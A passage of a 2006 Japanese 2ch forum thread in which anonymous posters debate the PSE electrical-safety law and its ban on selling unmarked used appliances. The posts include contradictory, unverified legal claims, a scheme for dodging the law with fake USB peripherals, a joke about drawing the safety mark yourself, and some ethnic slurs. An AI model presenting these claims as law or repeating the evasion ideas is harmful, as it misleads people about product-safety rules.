普通にPSEマークが付いてた。

先日購入したコレガのスイッチングHUB(電源内蔵タイプ)。
普通にPSEマークが付いてなかった・・・

112 ：名無しさん＠６周年：2006/02/13(月) 20:11:40 ID:Z0kEjHuH0

施行時というか立案されたときの意図とは違う法律になってんじゃないかと思う。

113 ：名無しさん＠６周年：2006/02/13(月) 20:11:43 ID:F9/m+ROZ0

>>92
国内の製造業者なら知ってるはずだから、
余程のことがなければ、電安法外の新商品は無い。
輸入品でも、国内の責任者が認証を取っていれば問題ない。
中国辺りからの直輸入だと、付いていないのもあるかもしれないが…

114 ：名無しさん＠６周年：2006/02/13(月) 20:11:45 ID:FKKdOZzl0

>>93
ますますこの法律の目的がわからない

115 ：名無しさん＠６周年：2006/02/13(月) 20:11:49 ID:i457ogts0

>>96
＞中古市場がなくなったら商売始めにくいし

PSEマーク付きなら普通に中古市場で流通できるから。

でもって、五年前に製造されたようなPSEマーク無し品でも、
個人がヤフオクで売買する分には問題なし>>54。

116 ：名無しさん＠６周年：2006/02/13(月) 20:11:50 ID:gRjWDYnL0

>>99の続き



Q.質問の答えになっていない。判断基準はないのか？
A.いわゆる「販売」を意図しているのに、あたかも別の形式を取ったかのようなものは該当すると考えてもらえば良いだろう。

Q.そのようなことは条文には記載されていないが、罰則が規定されている以上
勝手な拡大解釈は罪刑法定主義に反するのではないか？
A.当方はそのような専門知識は持ち合わせていないので分からない。

Q.そのようなことも分からない人間が、法案を書いたり質問に答えたりしているのか？ふざけているのか？
A.当方はあくまでも当該法律についての・・・ゴニョゴニョ

その後は関係ない法律論になったので割愛します。

（以上）

117 ：名無しさん＠６周年：2006/02/13(月) 20:12:15 ID:Ca7vEzhGO

>>94
この流れでどうにか政府批判に持っていきたいのですがそれは無理矢理過ぎます

118 ：名無しさん＠６周年：2006/02/13(月) 20:12:19 ID:Oort/Zgy0

（前スレの>981）
> ところで議員・有力者へメールしまくるから、だれかフォーム作ってくれないか？

（ビジネスnews+板）
【PSE】電気用品安全法により電気製品の中古販売が不可能に!?★2 [06/02/07]
http://news18.2ch.net/test/read.cgi/bizplus/1139304506/307

↑このスレの307さんがラジオ番組のBBSに投稿されましたが（リンク有り）、
その文章が簡潔で秀逸だと思います。この文章を参考にされては
いかがでしょうか？是非ご覧ください。

119 ：名無しさん＠６周年：2006/02/13(月) 20:12:34 ID:xNvT8MHH0

>得体の知れない押し付け安全より、消費者が自ら考え選ぶ安全のほうが
小学校のホームルームみたいな寝言ぬかすな。
ズルイ香具師がうじゃうじゃいるのが現実世界じゃ、ヴォケ

120 ：中村大尉(　´`ω´) ◆EJ.fRMDSpY ：2006/02/13(月) 20:12:42 ID:+WciG3S60

新製品が売れなくなってるからか・・・

121 ：名無しさん＠６周年：2006/02/13(月) 20:12:43 ID:IjDCJ2Jx0

>>93
そーだね。
だけど、五年前の製品の「資産価値をマイナス（破棄費用入れるとな）」にする
悪法である事に変わりありませんが何か？

122 ：名無しさん＠６周年：2006/02/13(月) 20:12:46 ID:mmTUB8opO

DSにもついてる？

123 ：名無しさん＠６周年：2006/02/13(月) 20:12:54 ID:3omi54qZ0

それで東京新聞以外の報道機関はスルー？

124 ：名無しさん＠６周年：2006/02/13(月) 20:12:55 ID:amsVf5Rr0

・PCとPC周辺機器は経産省ではなく総務省の管轄なので、PSE法の適用外。
通信機器も適用外。縦割り行政って事ですね。

ただし、TVチューナー付きのもの、ACコンセント付きのPC,PC周辺機器は
規制の可能性が高いグレーゾーンに入るようです。

・フリマについては、「売買を目的とした陳列」「仲買行為」に相当すると思われ。
規制されると思います。

125 ：名無しさん＠６周年：2006/02/13(月) 20:13:13 ID:tBqVbyEs0

ｳﾎﾞｱhttp://www.sony.co.jp/SonyInfo/News/ServiceArea/050929/index.html

126 ：名無しさん＠６周年：2006/02/13(月) 20:13:33 ID:D2wYj/jC0

>>107
ﾜﾛﾀ

127 ：名無しさん＠６周年：2006/02/13(月) 20:13:47 ID:i457ogts0

>>111
＞先日購入したコレガのスイッチングHUB(電源内蔵タイプ)。
＞普通にPSEマークが付いてなかった・・・

パソコンの周辺機器は規制対象外。

128 ：名無しさん＠６周年：2006/02/13(月) 20:14:14 ID:kksbSrSRO

向こうの中古は入力の違いがあるから、ほぼ関係ないだろうけど、日本向け電化製品作ってる海外メーカーって対応どうしてんだろ？
特亜には検査無しでシール発行してそうだけど…
アメ公が騒げば、輸入品に関してはｺﾞﾆｮｺﾞﾆｮ…
とかになりそうな悪寒

129 ：名無しさん＠６周年：2006/02/13(月) 20:14:23 ID:ZPvAvOYG0

>>124
中古ゲーム機やソフトは？対象外？

130 ：名無しさん＠６周年：2006/02/13(月) 20:14:37 ID:QAfTPSWm0

そもそもの話として、なんで法律が可決された時点で
PSEマークの強制を家電メーカー側に課さなかったのかを
考えれば全てがみえる話だわな。

131 ：名無しさん＠６周年：2006/02/13(月) 20:14:43 ID:8MJCVQ/C0

中古相場安くなるかな？
ＰＳ２を１万以下で買えるかな？

132 ：名無しさん＠６周年：2006/02/13(月) 20:14:43 ID:gRjWDYnL0

332：居抜きの中古物件を販売する際、PSE 法で規制される電気用品については、
どんな取扱になりますか？

経産：販売する物件を構成しているのですから、電気用品も販売されると判断します。
よって対象となります。

332：では、物件が現状渡しで電気用品の価格は購入価格に入っていない。
物件購入後、購入者の費用で廃棄する契約だった場合は？

経産：構成している以上対象となります。

332：ネットでの情報ですが「2001年法律施行以来、業界向けには伝えた」とありますが、
これは事実ですか？

経産：事実です。

332：業界とは電気用品の輸入、製造、販売に関する事業主ですよね？

経産：そうです。

332：では不動産業界には伝えたのですか？

経産：…。これから伝えます。

332：最後に「住宅販売でもPSE 法が適用される」この見解は担当者個人の見解ですか？
それとも経済産業省の公式見解ですか？

経産：…。個人の見解です。

332：では経済産業省の公式見解をお聞かせください。

経産：会議に諮り明日連絡させて頂きます。

133 ：名無しさん＠６周年：2006/02/13(月) 20:14:48 ID:javDe2Qc0

>>121
産廃業界ウマー

134 ：名無しさん＠６周年：2006/02/13(月) 20:14:51 ID:h4tvpqlp0

あの、松下のFFストーブの回収キャンペーン。
なにか裏があるとおもったら、これのための布石だったのね。
松下のストーブでは以前は死人が出るまでヒタ隠しにしてたのに、
ここでやたら金を使ってのキャンペーン。

古い電気機器は危ないですよ。のイメージを植え付け一掃したあとに、
新品を売り出そうをの思惑がミエミエ。
幸之助ちゃんも草葉の陰で泣いてるよ。


中古の電気製品としてなく、ジャンクとかオブジェとして売りにだせばいいんじゃないの。
不可動銃みたいな感じでさ。

それともパーツどりの部品として売るとか。

ところで、お店に修理に出すのもだめになるのか？

他の国でもこんなアホな法律を施行している国はあるんだろうか？

135 ：名無しさん＠６周年：2006/02/13(月) 20:14:55 ID:jo2qBhfsO

リースという形態を取ればよい

136 ：名無しさん＠６周年：2006/02/13(月) 20:15:03 ID:aY651tl60

>>85
官製ソニータイマーでつか・・・

137 ：名無しさん＠６周年：2006/02/13(月) 20:15:09 ID:F9/m+ROZ0

>>109
5年以上継続販売している(売り続けている)物なら、
あるロットから、マークだけ切り替わっているはずですが。

単発販売品で、金型変更にかかる費用が回収できないようなものなら、
マーク付けずに売り切り、とかもあるとは思うけど。

138 ：名無しさん＠６周年：2006/02/13(月) 20:15:14 ID:6Y7NhlfS0

>>127

じゃあ、色々な中古品に「ＵＳＢケーブル（オス）」を無理矢理
くっつけて、「これはパソコン周辺機器です」と主張するのは？

使用方法：パソコンのＵＳＢポートに接続して、眺める

139 ：名無しさん＠６周年：2006/02/13(月) 20:15:28 ID:9o7aDYnz0

>>中古の電気製品としてなく、ジャンクとかオブジェとして売りにだせばいいんじゃないの。
>>不可動銃みたいな感じでさ。それともパーツどりの部品として売るとか。
それらは不可です。

140 ：名無しさん＠６周年：2006/02/13(月) 20:15:34 ID:h8sYnwm90

なんていうか経３は「中古じゃなくて新品ガンガン売れるよーな法つくろーぜ」みたいなノリだけで、
「中古をどうするか、どうなるか、どうしなといけないか」なんてのは思いもしてなかったとしか…

141 ：名無しさん＠６周年：2006/02/13(月) 20:15:52 ID:dogpbb7+0

>>129
ソフトは電源内蔵していないから対象外
中古ゲーム（電源内臓　DCとかPS）はだめ

142 ：名無しさん＠６周年：2006/02/13(月) 20:16:09 ID:ZZwzOeIu0

>>98
>得体の知れない押し付け安全より、消費者が自ら考え選ぶ安全のほうが
>よっぽど安全だと思うんだが。

これは「押し付け安全」ですらないですよ。

審査能力もなければ賠償能力も無いJET等の天下り役人が金だけ分捕るという、
イーホームズやERIと同じ構図ですよ。
100円ライターのちっぽけな賠償保険付きシールの方がはるかにマシな制度ですよ。

143 ：名無しさん＠６周年：2006/02/13(月) 20:16:15 ID:2IaP+d1e0

>>124
でも、パソコンのコンセントは分離できるものだし大した問題では無い様な・・・

144 ：名無しさん＠６周年：2006/02/13(月) 20:16:19 ID:XrS+AT9o0

>>115
業務用製品の価格や寿命を知ってる？
中古でも３０万以上するモノも多いし、
ミシンや厨房機器なんて１５年とか当たり前。

それらの買い取りがされなくなったら、新品の需要も減るよ。

145 ：名無しさん＠６周年：2006/02/13(月) 20:16:25 ID:ZPvAvOYG0

パナソニックのオール電化住宅オワッタな（笑）

146 ：名無しさん＠６周年：2006/02/13(月) 20:16:26 ID:/j92KGlh0

>>54
ヤフオクの現状を無視して、大丈夫・大丈夫とだけ言うのは問題あるよ。
俺も危険・危険としか言ってないけどｗ

同じ文面を読んで感じ方が異なる良い例なのか？

俺は個別の事情を踏まえてとあるのに、
＞商品説明の内容から事業者であると認定できる出品者
この一文の明記が気に入らない。

他の詳細な例は、それに該当しそうなら気をつけられるが、
こう言うアバウトな内容で、ヤフオクは今まで善良ユーザーを切り捨ててきたからね。

147 ：名無しさん＠６周年：2006/02/13(月) 20:16:36 ID:yS5xLnF60

>>124
どもども。そういうレスが欲しかったんです。納得しました。

148 ：名無しさん＠６周年：2006/02/13(月) 20:16:41 ID:tBqVbyEs0

>>45
ノートパソコンのACアダプタは対象外？
外付けSCSIドライブも対象外？
困る。

149 ：名無しさん＠６周年：2006/02/13(月) 20:16:49 ID:iErg9UBY0

>>140
実際そうなんだよ
今になって事の重大さに彼らも気づき始めたみたい

150 ：名無しさん＠６周年：2006/02/13(月) 20:16:54 ID:0eyP+Oq/0

>>135

Q.それは「販売」でなければ不問ということか？
A.違う。字面通りの「販売」ではなくても実質的に「販売」とみなされる行為は一切禁止である。

Q.「実質的な販売行為」とは誰がどのような基準で判断するのか？
A.その都度個々の事案によって国が判断する。

151 ：名無しさん＠６周年：2006/02/13(月) 20:17:04 ID:sO5K86hK0

>>138
様々な家電のパソコンによる総括制御の可能性を表現した芸術作品として扱うのかｗ

152 ：名無しさん＠６周年：2006/02/13(月) 20:17:05 ID:F7DSVLnN0

ソニータイマー→運のいい奴なら何年でも長持ち
今回の制限→人為的に使用がストップさせられる

153 ：名無しさん＠６周年：2006/02/13(月) 20:17:25 ID:ZHwp7G0v0

サターン、ドリキャス、PS、PS2 1000番台が規制の対象に

154 ：名無しさん＠６周年：2006/02/13(月) 20:17:27 ID:FYeIAEWm0

ハードオフ店員全員あぼーんか

155 ：名無しさん＠６周年：2006/02/13(月) 20:17:38 ID:gRjWDYnL0

962 名前：864 投稿日：2006/02/09(木) 23:14:04 ID:y+TdQI0Y
この文書を出して頂いたメーカーの方はJETにも知り合いがいるということで、
JETに問い合わせをしたところ、そもそもJETがこの規格についての
最初の案を出した頃は中古品が想定外であっただけに、
どこからこういう過去の商品に訴求する法案になったのかと
逆に彼らが今の流れに驚いているという様子だったようです。

経産省の方でも、多数の問い合わせが殺到して
（電話かけて応対が一時間待ちくらいになったそうです）
今になってことの重大さに気がついたようで
現実的な運用の仕方について今色々と対応に苦労されているようです
そういう意味では皆さんの電凸も決して無駄ではなかった・・・
のかもしれません。



今回の騒動は官僚のPSE法の拡大解釈によるものである可能性が高い。
私が議事録などを読んだ限りでは中古家電への言及は見あたらなかった。
法案の推進に関わった議員が中古に適用されることでの問題が大きいと
考えれば運用を変えるよう官僚に迫るだろう。
なにせ自分の信用問題＝票に繋がることだから。
法律を変えるのは時間がかかるが、運用を変えるのはまだ可能性がある。

156 ：名無しさん＠６周年：2006/02/13(月) 20:17:38 ID:YJSAfHVW0

そうだな。これからは、この法律の意図するところに従って、

「家電リサイクル禁止法」　「家電大量不法廃棄幇助法」

と呼ぼう。

157 ：名無しさん＠６周年：2006/02/13(月) 20:17:41 ID:ZIfJFlLq0

安全性の問題なら製品の監督官庁など関係ない話。
全ての電気製品を対象にしないとならない。
どうみても役人の天下りのための法です。

158 ：名無しさん＠６周年：2006/02/13(月) 20:17:48 ID:NE9m224SO

家電って、壊れなくても一定期間ごとに買い換えたり、
検査を通過したもの以外売っちゃダメにしたりするほど危険なものなの？
家電はそんなにこわくな〜い。
自信を持ちなさい〜

159 ：名無しさん＠６周年：2006/02/13(月) 20:18:01 ID:2wgq+JtXO

2ちゃんの官報監視板をつくるべきだが、２００円払ってボランティアで官報アップしてくれる神がいないものか
おれっちはアルバイト店員だからムリポ

160 ：名無しさん＠６周年：2006/02/13(月) 20:18:23 ID:9f2unsxT0

今から各自治体とも新年度予算審議で市町村議会、県議会の時期。

知り合いの地方議員がいたら「不法投棄の増加や中小企業の倒産等、
一定の混乱が予想されるが、地域での周知に自治体として配慮したか？
また、混乱の早期収束のために何か具体の施策はあるのか？」って
質問させるといいよ。委員会とかでの事前調整なしの隠し玉でもOK。

全国の自治体からの照会電話殺到で経産省も少しは青くなるだろ。
長めの昼休みに日比谷公園でのんびりお散歩なんてさせないぞ（ｗ

161 ：名無しさん＠６周年：2006/02/13(月) 20:18:35 ID:aWYpix8u0

安全とは教育や人間性を主対象にして地道な政策で勝ち取る物だよ、
安易な抑圧的対処法でうまくいくもんではない。

162 ：名無しさん＠６周年：2006/02/13(月) 20:18:46 ID:3+hcaD/b0

デザイナー使わずに、役人が会議のその場で5秒で考えたみたいなマークが
何年も使われる規格の為のモノとはとても思えない。
JISマークとか▽〒とか、いちおうそれなりに
デザインを考えてあるように見えるが
PSEって、PSEって書いて○描いただけ。
「あ、こんなもんだろ」って投げやりな感じがプンプンしてる。

163 ：名無しさん＠６周年：2006/02/13(月) 20:19:08 ID:Axhh3NOp0

>>151
全ての家電がネットワークに繋がる時代がすぐ目の前に！という妄想ｗｗｗ

164 ：名無しさん＠６周年：2006/02/13(月) 20:19:09 ID:8MJCVQ/C0

>>153
買える物は買えるってこと？

165 ：名無しさん＠６周年：2006/02/13(月) 20:19:19 ID:dogpbb7+0

ざる法決定だな

166 ：名無しさん＠６周年：2006/02/13(月) 20:19:21 ID:3omi54qZ0

＞１１８
ありがとう

早速メール開始します

167 ：名無しさん＠６周年：2006/02/13(月) 20:19:49 ID:F9/m+ROZ0

>>162
JISもマーク変わるんだよな。頭痛いよ。

168 ：名無しさん＠６周年：2006/02/13(月) 20:19:55 ID:ZPvAvOYG0

でも何故、中古の電気製品を売ると違法になるのだろうか？

常識的に考えても、無理があるよな。中古品を売るなんて、人類の
歴史から見ても、かなり以前から行われてたことだし。

こんな「アタリマエ」の商習慣を、今さら変えろだなんて。
それに、まだ使えるものを捨てろだなんて、どうかしている。

そのPSEマークって、簡単に手に入るものなの？

169 ：名無しさん＠６周年：2006/02/13(月) 20:20:16 ID:tBqVbyEs0

>>162
菱と丸だから山ｇｑくぁうぇｄｒｆｔｙぐｈｈｗせｒちゅ

170 ：名無しさん＠６周年：2006/02/13(月) 20:20:17 ID:9o7aDYnz0

>>131
中古相場は逆に上がるだろ。流通量が減るんだから。

171 ：名無しさん＠６周年：2006/02/13(月) 20:20:44 ID:D2wYj/jC0

>>142
＞審査能力もなければ賠償能力も無いJET等の天下り役人が金だけ分捕るという、

結局このマークがある分で消費者が得することってまったくないわけ？

172 ：名無しさん＠６周年：2006/02/13(月) 20:20:44 ID:Lif6IM3Z0

何が良くて何が悪いなんてのは、もはや論外
これ自体が、財産権の侵害だろ

173 ：名無しさん＠６周年：2006/02/13(月) 20:20:54 ID:Z0kEjHuH0

>>170
ていうかマークなしは売れないだろ。

174 ：名無しさん＠６周年：2006/02/13(月) 20:21:10 ID:wMMX0Ppg0

大物が動いたぞ！
以下mixiから転載


坂本龍一氏のメールマガジンに「どうお考えでしょうか？」
という問い合わせをしたところ、次のような返信がありました。
皆さん、力を合わせましょう！

-----以下、スタッフからの返信メール転載


ご連絡いただき、ありがとうございます。
ご指摘いただいた「電気用品安全」について、
坂本は大変に由々しき事態と認識しており早速、
友人でありAPやMAAなどで共に活動している松武秀樹氏を中心に、
JSPA（日本シンセサイザープログラマー協会）にて署名集めなどの準備を始めております。
また、本件については3月5日放送予定のJ-WAVE「Radio　Sakamoto」でも扱う予定です。
今後、ニュースレターやWEB/blogなどでも状況についてのご案内をさせていただきます。

本法の間違った運用が是正されるよう、みなさまのご協力をいただけますようお願いいたします。

175 ：名無しさん＠６周年：2006/02/13(月) 20:21:16 ID:iErg9UBY0

>>171
ない

176 ：名無しさん＠６周年：2006/02/13(月) 20:21:22 ID:2IaP+d1e0

>>156
「家電大量不法廃棄幇助法」は無理があるよ。

不法投棄を幇助する法だなんて言い出したら、道交法なんて幇助の宝庫だよ。

177 ：名無しさん＠６周年：2006/02/13(月) 20:21:31 ID:QAfTPSWm0

ライブドア株で年金運用失敗したから
中古家電にまで規制を掛けたと妄想してみる。
家電メーカーの株が動くし。
まあ証券の投資はないと思うけど

178 ：名無しさん＠６周年：2006/02/13(月) 20:21:37 ID:Uxks0zzd0

これって産業機械も対象になるの？？
ン千万もする新品が買えない中小企業も多いのに

179 ：名無しさん＠６周年：2006/02/13(月) 20:21:39 ID:0eyP+Oq/0

>>171
ああ、それはないだろう

180 ：名無しさん＠６周年：2006/02/13(月) 20:21:46 ID:E1rTzk+10

そうだ！
全部PCってことにすればいい！！

181 ：中村大尉(　´`ω´) ◆EJ.fRMDSpY ：2006/02/13(月) 20:21:47 ID:+WciG3S60 ?

>>174
坂本先生ｷﾀ━━━━━(ﾟ∀ﾟ)━━━━━!!!!!

182 ：名無しさん＠６周年：2006/02/13(月) 20:22:01 ID:xNvT8MHH0

法を遵守しない者には裁きが下る

183 ：名無しさん＠６周年：2006/02/13(月) 20:22:02 ID:B2JRSUZn0

>>174
！！！！！！！

184 ：名無しさん＠６周年：2006/02/13(月) 20:22:08 ID:amsVf5Rr0

>>129
ACコンセントに直接つなぐ旧タイプのゲーム機が相当（旧型PS2以前らしい）

ACアダプタタイプのゲーム機は2年後に規制対象に入る。
ただし、アダプタのみ規制でゲーム機本体は対象外。
レトロゲー板でユニバーサルアダプタの話題が出ているので、
そっちに移動した方がよさげ。
http://game9.2ch.net/test/read.cgi/retro/1138608835/l50

ソフトは対象外です。

185 ：名無しさん＠６周年：2006/02/13(月) 20:22:09 ID:Axhh3NOp0

>>174
mixi　読めない・・・

186 ：名無しさん＠６周年：2006/02/13(月) 20:22:17 ID:tBqVbyEs0

つhttp://www.meti.go.jp/policy/consumer/seian/denan/pictures/hou_ou1.jpg
　　http://www.meti.go.jp/policy/consumer/seian/denan/pictures/hou_ou2.jpg

187 ：名無しさん＠６周年：2006/02/13(月) 20:22:19 ID:8MJCVQ/C0

>>170
規制対象外の新しい機種？
薄いＰＳ２のこと？

188 ：名無しさん＠６周年：2006/02/13(月) 20:22:23 ID:gRjWDYnL0

179 名前：お祭り好きの電気屋　 ◆gUNjnLD0UI [sage] 投稿日：2006/02/09(木) 13:39:39
この間古物市場（リサイクル屋の問屋）で、その話でもちきりだったよ｡
まさに寝耳に水の状態｡　恥ずかしいながら漏れも知らなくて仕事仲間に聞いて
慌ててググッたほど｡　と、言うよりも電気工事組合でも（財）家電製品協会
でも１種電気工事士ニュースでもリサイクル通信（業界新聞）でもそんな情報
流れてなかったぞ｡



269 名前：お祭り好きの電気屋　 ◆gUNjnLD0UI [sage] 投稿日：2006/02/10(金) 22:59:22
>>265　「知らされてなかった」というのが実情だな｡
　実際、２ちゃんねる、他、から情報（うわさ）が広まって騒ぎが始まったのが
最近のこと｡　電気で飯食ってる漏れでさえ「寝耳に水」だった｡
勉強不足といえば言い訳の仕様も無いのも確かだが、今現在

・神奈川県電気工事組合
・家電製品協会
・リサイクル通信（業界新聞）
・一種電気工事士ニュース

のいずれからも情報は回って来ていない｡

　うわさがうわさを呼び、憶測と確認済み情報と未確認情報がごっちゃになっていて
どう対処するべきか分からない状態なのである｡

　それに、「電気用品安全法」自体、「中古品を規制する」という法律との認識は
誰も持ちえてなかったし、元々電気機器の安全性能を維持することで電機事故を
防ぐ為の安全基準でしかなかった｡

　そういう意味では他の法律や規格との整合性も取れてないことになる｡
例えば国際規格のＵＬ安全規格やＣＳＡ、ＴＵＶ規格のほうがよっぽど厳しい規定だし、
昔の（〒マーク）のほうが国が直接管理していていた分格上の規格ハズなのだ｡

189 ：名無しさん＠６周年：2006/02/13(月) 20:22:26 ID:F9/m+ROZ0

>>168
電気用品安全法に乗っ取った試験をして、
その試験結果と現物を、規定の書類と一緒に認証機関に出せばOK。


どこぞの業界の建築確認と同じだよ。

190 ：名無しさん＠６周年：2006/02/13(月) 20:22:28 ID:dogpbb7+0

>>180
自分でマークを書けばいい

191 ：名無しさん＠６周年：2006/02/13(月) 20:22:36 ID:sO5K86hK0

>>174
大物ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!
プロ市民っぽいところもあるけど、今回は応援しちゃうぞｗ

192 ：初スレ濁し ◆NdXA4pMuL2 ：2006/02/13(月) 20:22:51 ID:CDGxgDCN0

先ほど帰宅したんですが、私事で30分〜１時間ほど買い物に行ってきます。
現スレでの電凸転載は>>64>>83>>99>>116と>>132ですね。

環境省と経済産業省と渋谷NHKにいきましたが、
駄目もとで行ったNHKが収穫あったかもという感じです。

では詳細は後ほど。ちなみに買い物はプリンタ用紙です。

193 ：名無しさん＠６周年：2006/02/13(月) 20:23:01 ID:sMmVbmJs0

ttp://blog.sitesakamoto.com/
坂本龍一氏のブログｋｔｋｒ

194 ：名無しさん＠６周年：2006/02/13(月) 20:23:20 ID:U7ggjikp0

今になってゴミ屋敷の価値に気づいたか？
これからは皆でゴミ屋敷に住むんだ！

195 ：名無しさん＠６周年：2006/02/13(月) 20:23:23 ID:YJSAfHVW0

>>165
ざる法でも、まともな業者は商売できなくなる。
せっかく回っていた、リサイクル経済が破綻するよ。
そして、リサイクル業者の倒産とビンテージ機器の大量廃棄・・・

196 ：名無しさん＠６周年：2006/02/13(月) 20:23:28 ID:Z0kEjHuH0

教授こそパンク。

197 ：名無しさん＠６周年：2006/02/13(月) 20:23:41 ID:0eyP+Oq/0

>>174
坂本龍一は行動力あるねえ

198 ：名無しさん＠６周年：2006/02/13(月) 20:24:08 ID:sS2AgcXy0

>>174
坂本教授GJ!!!!

199 ：名無しさん＠６周年：2006/02/13(月) 20:24:23 ID:HI1OM8TE0

>>138
俺もフェンダーの古いアンプをＵＳＢポートに挿して眺めてみたい

200 ：名無しさん＠６周年：2006/02/13(月) 20:24:24 ID:D2wYj/jC0

>>175
つーことはただ単にマークを付けてるだけってこと？　保証も全くなし。
そしてマークを管理する天下り法人が出来ただけってことか？


酷すぎる・・・・・

201 ：名無しさん＠６周年：2006/02/13(月) 20:24:31 ID:u3zW3LmC0

プレステの新型が電源を外に出してインチキコンパクトになったのってこれに関係あるのかね？

202 ：名無しさん＠６周年：2006/02/13(月) 20:24:33 ID:4zmRhnKK0

>>145
オール電化住宅・・

中古住宅も家電品（エアコン、給湯等）付属だと法に引っかかるって
経産省の回答が有ったけど、不動産業者はともかく買い換えするために
はかなりの出費が必要に成りますね

203 ：174：2006/02/13(月) 20:24:38 ID:wMMX0Ppg0

mixi見れる方↓
http://mixi.jp/view_bbs.pl?id=4579414&comm_id=583129

204 ：名無しさん＠６周年：2006/02/13(月) 20:24:39 ID:Axhh3NOp0

>>193
教授ｗｗｗ
困る！！よねーｗｗｗ

205 ：名無しさん＠６周年：2006/02/13(月) 20:24:39 ID:IjDCJ2Jx0

>>168
「中古の電気製品を売ると違法」じゃなくて、
「新品だろうと中古だろうと」PSEついてない商品は売っちゃいけねぇよ！
資産として認めねぇ！資産価値ゼロだ！って法律みたいだぞ。
今まで普通に売買出来てたのに、ある日突然、資産価値がゼロになると。
こんなアフォな話があるのかー。

206 ：名無しさん＠６周年：2006/02/13(月) 20:24:49 ID:jo2qBhfsO

この程度の事態も予想できないなんて…頭の悪い官僚なんて何の役にたつの？w

207 ：名無しさん＠６周年：2006/02/13(月) 20:24:53 ID:byVAgJmn0

PSE なんて、いかにも PS3 みたいなマーク勝手に作って
そんなにファミコンに負けんのが怖いのか？ソニー

208 ：名無しさん＠６周年：2006/02/13(月) 20:24:54 ID:A+BqWN8x0

つーか、この法の意義って何？

ただの家電メーカーが美味しいだけの法じゃないのか？

209 ：名無しさん＠６周年：2006/02/13(月) 20:24:56 ID:XrS+AT9o0

>>178
発電機とか業務用照明も対象になるそうです。
医療機器もダメだそうです。
あとは、文書細断機とあるからシュレッダーとか・・・

工作機械についてはわかりません。

210 ：名無しさん＠６周年：2006/02/13(月) 20:25:01 ID:N4b+T1H00

オークションでも法に触れるものは売れないし、登録出来ない。


説明書きに、「学術研究用です」とか「観賞用です」とか

そういう建前を書いても


ﾀｲｰﾎされる時はﾀｲｰﾎされる。

211 ：名無しさん＠６周年：2006/02/13(月) 20:25:05 ID:4usCqRwMO

圧力に負けアメリカ牛を解禁し
手抜きマンションを金を掴まされたら平気で売る奴らのくせに

物の安全を語るな
自民はまともな法律を作る気がない
国民消費者の視点で国政を考えてない

こんな輩の集まりに憲法をいじくり回す資格はない
人権保護だの移民だの国を売る気満々じゃねえか
北朝鮮国交正常化なんて寝ボケやがって
小泉が人気取りのために利用しただけじゃねえかよ

212 ：名無しさん＠６周年：2006/02/13(月) 20:25:35 ID:qyc6fkEE0

結局儲かるのは、PSマークを貰った大量生産する韓国･中国・台湾のメーカー。
または、そういった地域での生産完了している大手日本メーカー。

そうなると、技術立国の日本が苦心して編み出した回路なんか盗み放題。
だって技術立国として本当の力を持っているのは大手メーカーではなく国内中小企業。

つまり、この法律は国内中小企業潰し。技術立国日本潰し。

ちなみに売れなくなった中古品はどこに行くんだろうねぇ。
まさか北朝鮮なんかに流れることはないよね。

小泉がやってきたことは、まぁそういうこった。
どうせ偽のPSマークを印刷して貼り付けるだけで他国はスルーされるからねぇ。

213 ：名無しさん＠６周年：2006/02/13(月) 20:25:40 ID:2wd7/+Cj0

マネーの虎の元ホームレス社長がまたホームレスになる？

214 ：名無しさん＠６周年：2006/02/13(月) 20:25:54 ID:dKVIAHHg0

ところでｶﾞｲｼｭﾂかもしれんがPSEマーク付いいてない製品のメーカ修理はどうなるんだろ？

215 ：名無しさん＠６周年：2006/02/13(月) 20:25:59 ID:mbwCasuu0

>>192乙
待ってるよ〜

216 ：名無しさん＠６周年：2006/02/13(月) 20:26:01 ID:MnMKzXvJ0

俺の会社は輸入業者。１年前に会社で、PSEが付いてないのは売れなくなるよと
話したところ、へぇそうなんだ。で終わり。


潰れろ俺の会社！

217 ：抜け道案 ：2006/02/13(月) 20:26:11 ID:6Y7NhlfS0

１）架空のドライバっぽいソフトを作る。
　　実際にドライバとして機能してなくていい。
　　ＵＳＢポートに何か刺さってると、タスクバーの端っこに
　　赤い点が点滅する、とか何でもいい。


２）中古電気製品に、ダイソーで売ってるＵＳＢケーブルを
　　ぶったぎって、接着剤で貼り付ける。

３）「この製品は、かならずＵＳＢケーブル部分ををパソコンへ
　　　接続し、周辺機器としてお使い下さい」と宣伝文句をうたう。
　　必要なら、１のドライバも一緒に売る。
　　ドライバはネットからダウンロードでもいいだろう。

４）消費者は、パソコン周辺機器として購入する。
　　でも買って家に持って帰った後は、どうするかは売る側の知った
　　ことではない。

これで抜け道としてはＯＫですか？

218 ：名無しさん＠６周年：2006/02/13(月) 20:26:44 ID:D2wYj/jC0

>>189
なるほどそういうことか。

219 ：名無しさん＠６周年：2006/02/13(月) 20:27:05 ID:u3zW3LmC0

>>214
修理代金の一部を前金で支払った後、製品はPSE不適合なので引き渡し不可、つまり没収です。

220 ：名無しさん＠６周年：2006/02/13(月) 20:27:13 ID:didT2uPWO

この法律で得するのは営業部門だけ！

221 ：名無しさん＠６周年：2006/02/13(月) 20:27:14 ID:yS5xLnF60

>>193
坂本教授のブログ、昔は結構読んでたんですけど、なんだかアレですね。文体が変わりましたね。
なんだか普通のネットユーザーみたいだ。
関係ないけど。

222 ：名無しさん＠６周年：2006/02/13(月) 20:27:33 ID:wMMX0Ppg0

>>217
TVチューナー付きPCがアウトだからダメじゃね？

223 ：名無しさん＠６周年：2006/02/13(月) 20:28:02 ID:riWBRSLx0

過去の良品の取引市場が失われるのは痛い
だが最近のＰＳＥマークのついてない安物は中古市場に流れる必要ないかも
あのクラスのは新品でも十分安いから

224 ：名無しさん＠６周年：2006/02/13(月) 20:28:10 ID:RbmqH/+Y0

>222
工エｴェｪ（´д｀）ｪェｴエ工工マジカヨ

225 ：名無しさん＠６周年：2006/02/13(月) 20:28:15 ID:wXIYs9jX0

>>174
教授キター

226 ：名無しさん＠６周年：2006/02/13(月) 20:28:52 ID:HI1OM8TE0

スーパーの什器とか、結構な量が中古で取引されてる
ミートスライサーとか、パッカーラベラーとか一度購入すると
最低でも１０年は使う。長ければ２０年モノとかゴロゴロあるぞ

227 ：名無しさん＠６周年：2006/02/13(月) 20:29:10 ID:YJSAfHVW0

>>174
さすが坂本教授。
これで他のマスコミも取り上げないわけには
いかなくなるね。

228 ：ゴキブリ渡邊 ：2006/02/13(月) 20:29:24 ID:ARoIYG8N0

こんな悪法は誰が考えた？

229 ：名無しさん＠６周年：2006/02/13(月) 20:29:25 ID:i457ogts0

>>124
>>147

Ｑ５ 個人で販売する場合は、電気用品安全法上の販売の規制の対象となりますか？

